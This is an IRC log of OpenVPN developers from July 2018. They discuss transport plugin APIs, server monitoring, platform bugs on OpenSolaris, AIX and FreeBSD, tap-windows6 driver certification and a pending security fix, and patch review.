blanu> The way we did the events in the transport API design was to make it easy to integrate into the OpenVPN network code so that the patch would be reasonably small. 13:22 <@ordex> blanu: I think what cron2 is asking is: how are pump/request_event/update_event used by plugins? what do they need these APIs for exactly? 13:22 <@ordex> we are failing to see when a transport plugin would need those to be implemented 13:23 <@ordex> no, cron2? 13:24 <@ordex> right, cron2? (<< this makes more sense :P) 13:26 <@ordex> anyway, it is pretty late here. I am going to hide for a bit 13:26 < blanu> The idea behind this was to make it easier to integrate with the way OpenVPN does networking in the core networking loop. 13:27 < blanu> I need to move on to my next meeting too. Thanks for the feedback! 13:29 <@dazo> still doesn't fully grasp it .... are there some plug-in example code we can look at which uses these three functions? (pump/request_event/update_event) 13:30 <@ordex> there should be one in that brach iirc 13:35 <@dazo> https://github.com/OperatorFoundation/openvpn/blob/operator-2017a/src/plugins/obfs-test/obfs-test-posix.c seems like this is one 13:35 <@vpnHelper> Title: openvpn/obfs-test-posix.c at operator-2017a · OperatorFoundation/openvpn · GitHub (at github.com) 14:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:31 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Quit: Ciao] 14:31 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 14:31 -!- mode/#openvpn-devel [+o dazo] by ChanServ 17:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 276 seconds] 20:11 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: No route to host] 20:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:33 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:37 <@ordex> pe peee --- Day changed Thu Jul 12 2018 01:44 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:20 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:21 <@cron2> my box is really falling apart... LAN went away for 15 minutes, then came back 02:52 <@mattock> oh 02:58 <@mattock> cron2: I have to restart openvpn community server soonish 02:58 <@mattock> I've modified systemd unit files so that they create a pidfile 02:59 <@mattock> and the pidfile can then be monitored by monit, and the service restarted if it crashes 02:59 <@mattock> plus I then stop getting false "openvpn service is down" emails 02:59 <@mattock> ok? 03:00 <@ordex> you don't like spam? 03:00 <@ordex> ;P 03:00 <@mattock> no I don't 03:00 <@mattock> I also don't like adding email filters to get rid of it :P 03:01 <@mattock> plus this change will make it less likely that I will get interrupted on my vacation 03:01 <@mattock> in case I failed to mention: my idea is to be on vacation starting this weekend for a full month 03:01 <@mattock> that said, the HLK stuff will not let me go probably 03:03 <@ordex> oh ok 03:04 * ordex has no clue about what else we need for this HLK thing 03:04 <@mattock> I've asked the guys at the office to look into prices of real Windows Server hardware (we have access to licenses already), but things move slowly 03:04 <@mattock> it is all very vague 03:04 <@ordex> so we're going that way? outsorcing is not an option anymore? 03:05 <@mattock> well, it could be a short-term remedy 03:05 <@mattock> but I worry that we end up paying quite a bit _if_ we have to patch tap-windows6 often 03:05 <@mattock> because it's $350 per OS per release if we outsource 03:05 <@ordex> ok 03:06 <@mattock> with historic rate of tap-windows6 release that would be ok 03:06 <@mattock> but if we get security notices or actually develop the driver then it could end up being costly 03:06 <@ordex> well, I felt we were under pressure right now, so I thought we could do the outsorcing once to get rid of the pressure now and then work on our inhouse solution with our pace 03:06 <@cron2> mattock: restarting *should* be fine now. Let's see :-) (most likely opensolaris will crash, but I need to fix this) 03:06 <@mattock> cron2: ok thanks! 03:06 <@ordex> but you know better the current status :) 03:07 <@mattock> ordex: the thing is that the inhouse solution is already there, except that it is in EC2 03:07 <@mattock> for the most part at least 03:07 <@cron2> tap driver interfering with your vacation is bad news 03:07 <@mattock> rebuilding it on physical server hardware is not a big deal 03:07 <@mattock> cron2: fully agree 03:08 <@mattock> we could of course outsource this one release and only get signatures for Windows Server 2016, leaving 2019 unsupported (for now) 03:08 <@mattock> the price for that would be reasonable 03:09 <@ordex> mattock: yeah, but you just said it will...move slowly... so either we accept that we'll release the driver we don't know when (which might be ok) or we just do this one release with the outsoircing service and we happily stop caring about that for a bit 03:09 <@ordex> yeah 03:09 <@mattock> but if we outsource we'd definitely want to get jkunkee's patches in first 03:09 <@cron2> will these companies actually fix things, or just "test, and report back that it failed the tests"? 03:09 <@mattock> if we improve our own setup it does not matter much, we can release as often as we want 03:09 <@mattock> they have a fixing service as well 03:10 <@mattock> pay by the hour, with a reasonable reate 03:10 <@mattock> rate 03:10 <@mattock> so in that regard outsourcing would be useful 03:11 <@cron2> this would be very tempting to get the release out now - like, merge jkunkee's stuff, my security fix, ship it to them, have them fix what is missing (these magic OIDs) and merge back anything they found in need of fixing... 03:11 <@ordex> yap, I agree 03:11 <@cron2> but it's OpenVPN Inc's money either way - "mattock time", "hardware", "outsourcing" 03:11 <@ordex> then when mattock gets back from vacation we can focus on ensuring we finishing setting up our internal thing, without much pressure 03:11 <@cron2> so, not my call to make 03:11 <@mattock> indeed 03:12 <@mattock> cron2: please don't fix solaris openvpn yet 03:12 <@mattock> the systemd changes did not work on centos7 as they do on debian 03:12 <@mattock> i.e. pidfile is still missing 03:12 <@cron2> I'm here to review things and read up on documentation :-) - but full focus on these tests require too much time and dedication 03:12 <@mattock> I will investigate 03:13 <@ordex> well, we've a buggy driver out right now - any issue coming from this issue will be way more expensive than the outsorcing service. but yeah, not my call as well 03:13 <@cron2> mattock: re solaris - yep, it nicely crashed 03:13 <@cron2> Jul 12 10:13:05 osol10 openvpn[2435]: [ID 583609 daemon.notice] OPTIONS IMPORT: route options modified 03:13 <@cron2> Jul 12 10:13:05 osol10 openvpn[2435]: [ID 583609 daemon.error] Can't set PPA 0: File exists (errno=17) 03:13 <@cron2> Jul 12 10:13:05 osol10 openvpn[2435]: [ID 583609 daemon.notice] Exiting due to fatal error 03:14 <@cron2> so, I can restart this any time, but I really want this fixed in our code :-) 03:14 <@ordex> what is that PPA thing ? 03:15 <@cron2> driver stuff... look at opensolaris tun.c :-) 03:15 <@ordex> ah 03:15 <@ordex> :P 03:18 <@cron2> not sure I understand all of it, but basically you stack "things" on top of each other to get "a driver", "a driver that does networking", "a driver that does networking for IPv6" 03:19 <@cron2> ugh 03:19 <@vpnHelper> RSS Update - tickets: #1078: opensolaris fails on tun restart <https://community.openvpn.net/openvpn/ticket/1078> 03:19 <@cron2> it might be related to this little tidbit, though... 03:19 <@cron2> Jul 12 10:19:05 osol10 openvpn[14660]: [ID 583609 daemon.notice] OpenVPN 2.3_master i386-pc-solaris2.11 [SSL (OpenSSL)] [LZO] [eurephia] [PF_INET6] [IPv6 payload 20110522-1 (2.2.0)] built on Jun 2 2012 03:22 <@cron2> "the proper platforms" all use openvpn from the package repo to do the community VPN service (because they come with proper startup scripts, updates, etc.) 03:22 <@cron2> not so on opensolaris, obviously 03:24 <@cron2> mimimi... now it's (of course) trying to connect over IPv6, which isn't working... 03:24 <@cron2> Jul 12 10:23:50 osol10 openvpn[23348]: [ID 583609 daemon.notice] OpenVPN 2.PRODUCT_VERSION_MINORPRODUCT_VERSION_PATCH [git:master/b7bea782f3356dbd+] i386-pc-solaris2.11 [SSL (OpenSSL)] [LZO] [LZ4] [MH/PKTINFO] [AEAD] built on Jul 12 2018 03:24 <@cron2> Jul 12 10:23:50 osol10 openvpn[23349]: [ID 583609 daemon.notice] UDP link remote: [AF_INET6]2600:1f1c:702:ae01:2d15:d36a:8ade:db7b:1194 03:25 <@mattock> getting there slowly 03:25 <@cron2> mattock: feel free to restart the server again :-) - so I can see if using something not 6 year old will actually do the restart properly 03:26 <@mattock> cron2: I sure will 03:26 <@mattock> I had to refactor some puppet code 03:26 <@mattock> so still wip 03:30 <@mattock> damn systemd 03:30 <@mattock> override not working 03:31 <@cron2> thanks :) 03:31 <@cron2> Jul 12 10:31:04 osol10 openvpn[23349]: [ID 583609 daemon.error] Can't set PPA 0: File exists (errno=17) 04:47 <@mattock> ok, finally it is done 04:47 <@mattock> there was something seriously wrong with systemd unit file overrides 04:48 <@mattock> neither me nor dazo could figure out the root cause 04:48 <@mattock> but now monit is monitoring the openvpn server instance 04:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:07 <@ordex> cool 06:02 * cron2 just detected a new "netstat" option - "-o". Show socket flags. Wheeh! (BSD* does not have this) 08:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:59 <@vpnHelper> RSS Update - gitrepo: Move execve/run_script helper functions to run_command.c <https://github.com/OpenVPN/openvpn/commit/bf97c00f7dba441b504881f38e40afcbb610a39f> 23:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Fri Jul 13 2018 00:30 <@ordex> cron2: are you planning to review 3/9 of syzzer's patches? if not, I will allocate some time on it. Just want to avoid double work, since we are already tight on resource 00:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 01:43 <@cron2> ordex: I did some cursory reading yesterday, but for a proper review, all these library functions need checking and understanding 01:43 <@cron2> so, you do it :) 01:43 <@ordex> hehe 01:43 <@ordex> ok 02:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:23 <@ordex> cron2: have you checked if lzo has a errno-to-string function? some libraries do when they have their own errcode space 03:23 <@ordex> might help making the message even more readable 03:30 <@ordex> maybe not in this case .. 03:32 <@cron2> nothing I could see - it's just listening them in lzoconf.h 03:32 <@ordex> yeah 03:43 * cron2 got a bit distracted by a broken lzo installation on one of his test machines... and this came out of it :) 03:44 <@ordex> hehe 03:44 <@cron2> the more annoying bit seems to be that my AIX "VM"-thingie (which is more like docker) is refusing to let me create tap interfaces, so "testing" reduces it to "compile, unit, loopback" but no real t_client tests 03:45 <@ordex> oh ok 03:45 <@ordex> no tap means no "tun or tap" or only no "tap mode" ? 03:45 <@plaisthos> iirc aix is tap only 03:45 <@ordex> oh ok 03:46 <@cron2> AIX is tap mode only, and I had this silly idea of making a tun-over-tap emulation which is just good enough to run the community VPN over it, so we can have a proper AIX buildslave 03:47 <@cron2> if you ignore IPv6 for the moment and ignore all dynamic aspects and install a static ARP neighbour on the host side, it's fairly trivial - "strip/add a static ethernet header on tun_read()/tun_write()" 03:47 <@cron2> but if this WPAR thingie isn't giving me proper tap devices, game over 03:48 <@cron2> (I can build and test on proper boxes @ customer, and that's why I want the AIX stuff for - but I cannot run a buildbot on production machines with customer data belonging to someone else) 03:51 <@ordex> yeah 03:51 <@ordex> best would be if any of these customers could "donate" a dismissed or older AIX they don't use :p 03:52 <@cron2> true, and that would be a matter of "can I have this box?" for some of the older ones - but I really do not want to have another big tower in my basement that eats like 300W just to run a buildslave on it 03:53 <@plaisthos> :) 03:54 <@plaisthos> put a remote controlled outlet in front of it 03:55 <@cron2> so whenever ordex wants to test something in the middle of the night, a turbofan goes off here? Naah :-) (also I'm lacking space... I could hide it in $othercustomer's data center, but they might not like that either) 03:58 <@ordex> haha 03:58 <@ordex> I was thinking more about the latter thing 03:58 <@ordex> in the end "it is for them", meaning "we need this box to ensure you can keep on running openvpn on similar boxes" 04:00 <@cron2> this is why I can go and test about everyhting :-) - but having something that is completely controlled by untrusted people (like: ordex pushing something malicious and pressing "compile on AIX") is not an easy decision to make 04:00 <@cron2> I trust you, but they know none of you 04:01 <@plaisthos> I also don't want to be responsible for breaking a machine because of a stupid rf -rf / $VAR bug 04:01 <@plaisthos> or something 04:01 <@cron2> indeed :) 04:01 <@vpnHelper> RSS Update - gitrepo: Print lzo_init() return code in case of errors <https://github.com/OpenVPN/openvpn/commit/2cf21ecfca336d19a5bf203792fb7c7fe7f4a49d> 04:01 <@plaisthos> killing all buildslaves is one thing but killing a productive machine another 04:01 <@cron2> so this needs to be something isolated - separate VM, separate network with its own firewall rules, etc. 04:05 <@cron2> argh 04:05 <@cron2> FreeBSD upgraded fping to 4.0 which breaks ICMPv6 fragments 04:06 <@plaisthos> yeah ;0 04:06 <@cron2> so my home box fails on t_client tests 04:06 <@cron2> but not all of them 04:08 <@cron2> grrr, downgrade to 3.16, works 04:08 <@cron2> I just wanted to... *mumble* 04:09 <@cron2> run IPv6 ping tests (want_ok), 3000 byte packets... 04:12 <@ordex> cron2: about the trust: right. I had forgetten that aspect 04:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:20 <@vpnHelper> RSS Update - gitrepo: socket: make stream_buf_* functions static <https://github.com/OpenVPN/openvpn/commit/62c0455e0fd48b4640251dc879c25d4f66ae3ed2> 05:23 <@ordex> thanks! :) 05:55 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:55 -!- mode/#openvpn-devel [+v krzie] by ChanServ 05:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 06:18 <@cron2> openbsd does not like cmocka... 06:21 <@cron2> but only 6.0... the much older git on 4.9 is happy with the submodule 06:21 <@cron2> weird 06:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:49 <@cron2> argl. AIX. I ping and ping and wonder why tcpdump isn't showing anything... 06:49 <@cron2> ... because AIX is lying - tcpdump *never* shows outgoing packets on tap, it only shows *incoming* (and since the glue logic is not there yet, nothing coming in) 06:51 <@ordex> this all feels quite painful, doesn't it? :S I hope this happens only every now and then after an upgrade 06:51 <@ordex> hehe 07:00 <@plaisthos> In true UNIX lan, packet are received only! 07:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 07:17 < tincantech> how about a second NIC and ping "through" TAP to that .. 15:15 <@cron2> dat shit works 15:16 <@cron2> without ARP spoofing (= you have to set up a static ARP entry on the host side) the tun-over-tap emulating code is ~160 lines including comments, and works nicely for v4 and v6 :-) 15:16 <@cron2> ARP/ND spoofing will add some extra 100-ish lines that I can mostly steal from the tap driver... 15:20 <@dazo> so AIX only supports TAP mode? 15:47 <@cron2> yes --- Day changed Sat Jul 14 2018 09:19 < tincantech> windows is stupid .. i did an update and then it requires a reboot .. then it says "this application is blocking a reboot, press cabcek and save your work" so press cancel and it reboots anyway ! 09:20 < tincantech> back to openvpn .. what does "ACK output sequence broken" mean ? 09:20 < tincantech> looking at this thread : https://forums.openvpn.net/viewtopic.php?f=4&t=26716#p79956 09:21 <@vpnHelper> Title: openvpn Client is not recognized by openvpn server - OpenVPN Support Forum (at forums.openvpn.net) 10:34 <@ordex> tincantech: The requested topic does not exist. 10:34 <@ordex> ah no, bad copy/paste 10:41 < tincantech> any idea ? :) 10:41 <@ordex> your last message seems reasonable - connrefused seems to be what the server gets when sending packets back, no? so probably some firewall is blocking the connection or not doing NAT properly 10:42 < tincantech> yeah .. that's what i thought .. thanks 10:42 <@ordex> np ;) 17:27 < tincantech> you maty be curious about "openvpn: DOWN-ROOT: Failed execute: /etc/openvpn/down.sh: Exec format error" : https://forums.openvpn.net/viewtopic.php?f=15&t=26681#p79991 .. it is at least /new/ 17:27 <@vpnHelper> Title: up.sh running but not down.sh. - OpenVPN Support Forum (at forums.openvpn.net) 21:16 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: ZNC 1.6.3 - http://znc.in] 21:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 15 2018 07:09 < tincantech> so .. it seems the down-root plugin does not work at all .. 07:12 < tincantech> also. it is not built with make .. 07:14 <@ordex> tincantech: it should be buil except when you disble it at configure time 07:15 <@ordex> it doesn't work like that for you? 07:23 < tincantech> ordex: nope .. the .so remains missing 07:23 < tincantech> should it be built when building openvpn or should it be done separately ? 07:24 < tincantech> let me double checkk --version 07:29 < tincantech> it's right there "enable_plugin_down_root=yes enable_plugins=yes" 07:35 < tincantech> ahhh .. for some bizarre reason it is put into a hidden directory .libs 07:41 <@ordex> I think that happens when libraries need to be "wrapped" 07:41 <@ordex> but make install will put them in the right place 07:43 < tincantech> anyway .. the plugin does not seem to work 07:45 < tincantech> my mistake .. the script requires a shebang ;) 09:54 <@ordex> :P 20:31 <@ordex> cron2: is the comment-fix patch for tap-driver6? 20:31 * ordex got nuts searching for txpath.c in openvpn :P --- Day changed Mon Jul 16 2018 00:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: ZNC 1.6.3 - http://znc.in] 01:34 <@cron2> ordex: uh, yes. I thought git would tag this somehow but seems I should have done this myself :) 01:35 <@ordex> yeah, maybe a suffix prefix like "PATCH tap-driver6" 01:35 <@ordex> or something like that 01:53 <@cron2> the process for tap-windows6 patches is somewhat ill-defined anyway - it uses PRs on github quite a bit, though I have no idea (and not the desire to really find out) how to do a PR in this case 01:55 <@ordex> I didn't even know there was development really going on for the tap-windows6 :-P 01:55 <@ordex> other than security fixes 01:55 <@cron2> jkunkee added an arm64 port and revamped half the build system to make it more well behaved :-) 01:59 <@ordex> cool 07:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 276 seconds] 08:10 <@cron2> sigh, this week's meeting is getting sabotaged again 08:10 <@cron2> meeting with $CEO at 12:00, and other appointment "just before the meeting" 08:11 <@ordex> I don't think we have much this week 08:11 <@ordex> other than "going through more patches" 08:12 <@ordex> we can probably skip the appointment unless somebody has anythin to talk about (?) 08:12 <@ordex> patches patches patches 08:12 <@ordex> :] 08:12 <@cron2> hrhr 08:13 <@cron2> german has a word "*patsch*" which is used in german chatrooms 08:13 <@cron2> ... and it translates to *slap* 08:13 <@cron2> so, patches patches patches... 08:14 <@ordex> :D 08:28 <@vpnHelper> RSS Update - tickets: #1079: man page is misleading about --username-as-common-name option <https://community.openvpn.net/openvpn/ticket/1079> 09:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:44 <@vpnHelper> RSS Update - gitrepo: socket: make stream_buf_* functions static <https://github.com/OpenVPN/openvpn/commit/62c0455e0fd48b4640251dc879c25d4f66ae3ed2> || Print lzo_init() return code in case of errors <https://github.com/OpenVPN/openvpn/commit/2cf21ecfca336d19a5bf203792fb7c7fe7f4a49d> || Move execve/run_script helper functions to run_command.c <https://github.com/OpenVPN/openvpn/commit/bf97c00f7dba441b504881f38e40afcbb610a39f> || M 12:45 <@cron2> vpnHelper has been drinking again 19:35 < tincantech> me2 22:38 <@ordex> lol --- Day changed Tue Jul 17 2018 01:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:55 <@cron2> good morning, Mr. Master-Builder! 03:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:06 <@ordex> ! 06:44 <@plaisthos> ? 07:03 <@cron2> - 07:05 <@ordex> <o 08:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:40 <@ordex> dazo: cron2: plaisthos: mattock: syzzer: so no meeting tomorrow, I guess? 09:47 <@cron2> ! 09:54 <@syzzer> ? 09:55 <@cron2> ? 09:55 <@ordex> 香港 09:56 <@syzzer> too far to biek 09:56 <@syzzer> bike 10:01 <@ordex> :D 10:01 <@ordex> well, if you leave early enough...you may make it by new year's eve :p 10:14 <@mattock> uh, meetings 10:15 <@mattock> I need to clean up my inbox tomorror morning and figure out how to handle tap-windows6 thing without ruining my vacation 10:16 <@mattock> I think letting the outsourcing company handle this particular release would be least bothersome (if postponing release for a month is a no-go) 10:18 <@ordex> hmm I think that's gonna be more than one month, no? because that's when you come back, then time is required to do the actual thing. personally I don't know how severe the bug out there is 10:18 <@ordex> I guess the reporter will publish the bug at some point ? 10:33 <@cron2> he never mentioned any intentions to do so... no idea what happens if Cisco et. al. publish their advisories... 10:40 <@ordex> panic 10:40 <@ordex> :P 10:42 <@cron2> what if we do a release for win10 and earlier versions (no server 2016) only, with a warning label "there is a problem in the tap driver, do not run on server 2016 if you have untrusted software on the same system"? 10:43 <@cron2> as far as I understand, these should be fine right now (except for "lack of user testing")? 11:35 <@cron2> mattock: *poke* 12:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:07 < tincantech> ordex: you up yet ;) 20:21 <@ordex> sometimes 20:25 < tincantech> ah ha ! you cought me by surprise :) --- Day changed Wed Jul 18 2018 02:07 <@ordex> cron2: do you have any temptative date when we can try moving one step forward with the ipv6 thing? :) it's pending on my todo list too and I don't want to push on any other big change before this one is over 02:07 <@ordex> :> 02:07 * ordex hands cookies 02:21 <@cron2> let's say "some time this or next week", depends a bit on the tap-windows6 thing and what mattock decides 02:22 <@ordex> okyz! 03:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:22 <@mattock> morning 03:24 <@ordex> morning ! 03:44 <@syzzer> morning :) 08:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:29 <@ordex> yehaaa 10:42 <@cron2> why? 10:47 <@ordex> just for fun :P 12:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:56 <@vpnHelper> RSS Update - gitrepo: Remove unneeded newline in debug message in reliable.c <https://github.com/OpenVPN/openvpn/commit/3e5561d34099f28a759865efff0523005116b6a1> || Make second parameter to reliable_send_purge() const <https://github.com/OpenVPN/openvpn/commit/0f83b5e33ed63fee9f8de384e46cf93b4687c508> || Minor reliability layer documentation fixes <https://github.com/OpenVPN/openvpn/commit/df612f634a7e2e542e4393601520f7dbb0eb327f> 14:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 23:04 <@ordex> hm.. Delay reason: SMTP error from remote mail server after RCPT TO:<adam@NetBSD.org>: --- Day changed Thu Jul 19 2018 01:15 <@cron2> why are you mailing netbsd folks? ;) 01:18 <@ordex> :D just to complain about something! 01:30 <@cron2> you forgot to complain that all patches should be based on master, unless it's truly and only a 2.4 problem 01:31 <@ordex> right, but I think if he really clones the git repo he will do that anyway - not even sure he will get there :p 01:31 <@ordex> let's see 02:23 <@cron2> plaisthos: "pan" seems to be down... could you check & restart? 02:23 <@cron2> "down" as in "does not ssh" 02:28 * cron2 weeps silently 02:28 <@cron2> https://sourceware.org/bugzilla/show_bug.cgi?id=23393 02:28 <@vpnHelper> Title: 23393 [0-9] matches ¼ ١ ２ 〣 and others, but not ９ (and other nines) (at sourceware.org) 02:28 <@cron2> these fucking dimwits 02:32 <@ordex> lol 02:37 <@cron2> "yes, [a-z] will then also match A, but not Z". Thanksverymuch, ISO/UTF8/POSIX idiots 02:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:39 <@ordex> "yes, [a-z] will then also match A, but not Z"<< really? 03:59 <@cron2> yes, because the sort order is aAbB...zZ, and thus, Z is outside [a-z], while A is inside 03:59 <@cron2> [a-Z] would match z and Z 04:00 <@cron2> makes total sense, I think... to people that have never seen a computer 04:13 <@ordex> :D 07:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 10:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:17 -!- mode/#openvpn-devel [+b dqx_!dqx@unaffiliated/dqx] by cron2 15:11 < tincantech> how does the idea of yet another script sound ? namely --tls-"revoke" as the anti- --tls-verify .. probably kicked by --reneg-* invocation 15:11 < tincantech> :) 16:52 <@dazo> tincantech: it would be fun to see if you can manage to get openvpn3-linux running now ... I've done a lot of work on that client lately, and now all the crucial pieces for normal operation should be resolved 16:54 <@dazo> basically, build with the recommend ./configure --prefix=/usr or at least --datarootdir=/usr/share (or install from Fedora Copr https://copr.fedorainfracloud.org/coprs/dsommers/openvpn3/) ... and as an unprivileged user start tunnels using the openvpn2 and openvpn3 front-ends ... basically that's all which should be needed now 16:54 <@vpnHelper> Title: dsommers/openvpn3 Copr (at copr.fedorainfracloud.org) 16:54 <@dazo> (logging goes to syslog by default) 16:54 * dazo calls it a day and logs off 16:55 <@dazo> oh, well ... there is one big glaring issue ... I haven't resolved the /etc/resolv.conf update yet .... that's the next big thing I'm attacking now 16:55 * dazo really logs off :) 17:24 < tincantech> dazo: hey there :) .. I'll take a *good look as time permits .. sorry, the early drafts were too raw for me but i'm following on github --- Day changed Fri Jul 20 2018 02:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:09 <@vpnHelper> RSS Update - tickets: #1080: OpenVPN 2.4.6-I602 tls-version-{min,max} 1.3 <https://community.openvpn.net/openvpn/ticket/1080> 11:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 11:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] --- Day changed Sat Jul 21 2018 12:50 <@cron2> dqx_: could you please fix your IRC client setup? It is highly annoying to see you join/leave many times a day 13:49 -!- mode/#openvpn-devel [+b dqx_!~dqx@unaffiliated/dqx] by cron2 --- Day changed Sun Jul 22 2018 07:34 <@vpnHelper> RSS Update - gitrepo: Add crypto_pem_{encode,decode}() <https://github.com/OpenVPN/openvpn/commit/a5d35a01dcf73e6a93f59d687adb6e5be38c7750> 08:53 <@ordex> ! 08:53 <@ordex> :) --- Day changed Mon Jul 23 2018 00:40 <@ordex> since when we have this "dhcp" option for redirect-gateway? :O 00:40 <@ordex> is it a windows only thing? 00:40 <@ordex> btw people still don't siogn their patches :( sigh 00:40 <@ordex> mh he signed the email :-P 00:43 <@ordex> cron2: the "ipv6 gateway" shouldbe required only and only if doing TAP, no? 01:42 <@cron2> ordex: "route-gateway-ipv6"? 01:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:44 <@cron2> ordex: you tell him to use "git-send-email" and not "patch as attachment" 01:46 <@cron2> and yes, if you want to do a) dynamic IPv6 assignments using router-advertisements, b) on a TAP interface, and c) *then* install ipv6 routes "somewhere", then you need the route-gateway-ipv6 01:46 <@cron2> now why anyone would want to do this escapes me :-) 02:02 <@mattock1> cron2: what is the status of tap-windows6 PRs and patches? I did have any time to look into merging everything into a neat package until now 02:03 <@cron2> mattock1: all the PRs from Jon have ACKs, plus version number bump from Selva plus security patch 02:03 <@cron2> these should all go in 02:03 <@mattock1> merge everything together -> run HLK locally -> send the driver to Radixweb -> let them fix issues -> hopefully get a HLK test results out 02:03 <@mattock1> did Jon create a PR for his HLK fix? 02:03 <@mattock1> one of the HLK issues I mean 02:04 <@cron2> commit e28716613fe0a603fcf365cbf939bf3845bed303 02:04 <@cron2> Merge pull request #62 from jkunkee/hlk-hvci-fix 02:04 <@cron2> Mark RX MDL as no-execute for HVCI compliance 02:04 <@cron2> this one is in, haven't seen other patches/PRs 02:11 <@mattock1> ok great! 02:25 <@plaisthos> cron2: actually his patches are better than most 02:26 <@plaisthos> cron2: they apply cleanly with git am even with the attachment 02:27 <@plaisthos> and it is the first time that the Sparklabs (Viscosity client) author contribute back, so that is a plus :) 02:27 <@plaisthos> oh no, there are earlier patches 02:33 <@cron2> ok, then, no complaints :) 02:35 <@plaisthos> looks like git is smart enough to figure out that it wants the attachment 02:49 <@mattock1> cron2: shall I merge Jon's PRs then? 02:49 <@mattock1> I don't see formal ACKs on GitHub 02:50 <@cron2> the plan was "you build a test driver with them all merged, we test it, and then we formally merge the PRs" 02:50 <@cron2> they have been reviewed, but without an actual test run I did not want to fully ACK them 02:50 <@mattock1> ok, I can do that 02:51 <@cron2> some are "looks reasonable", some are "selva and I have actually found issues and Jon has updated everything" 03:04 <@mattock1> interestingly I get a merge conflict in src/tap6 when merging 4-ndis-630-upgrade 03:05 <@mattock1> <<<<<<< HEAD 03:05 <@mattock1> BOOLEAN RunningWindows8OrGreater; 03:05 <@mattock1> ======= 03:05 <@mattock1> UINT NdisVersion; 03:05 <@mattock1> >>>>>>> 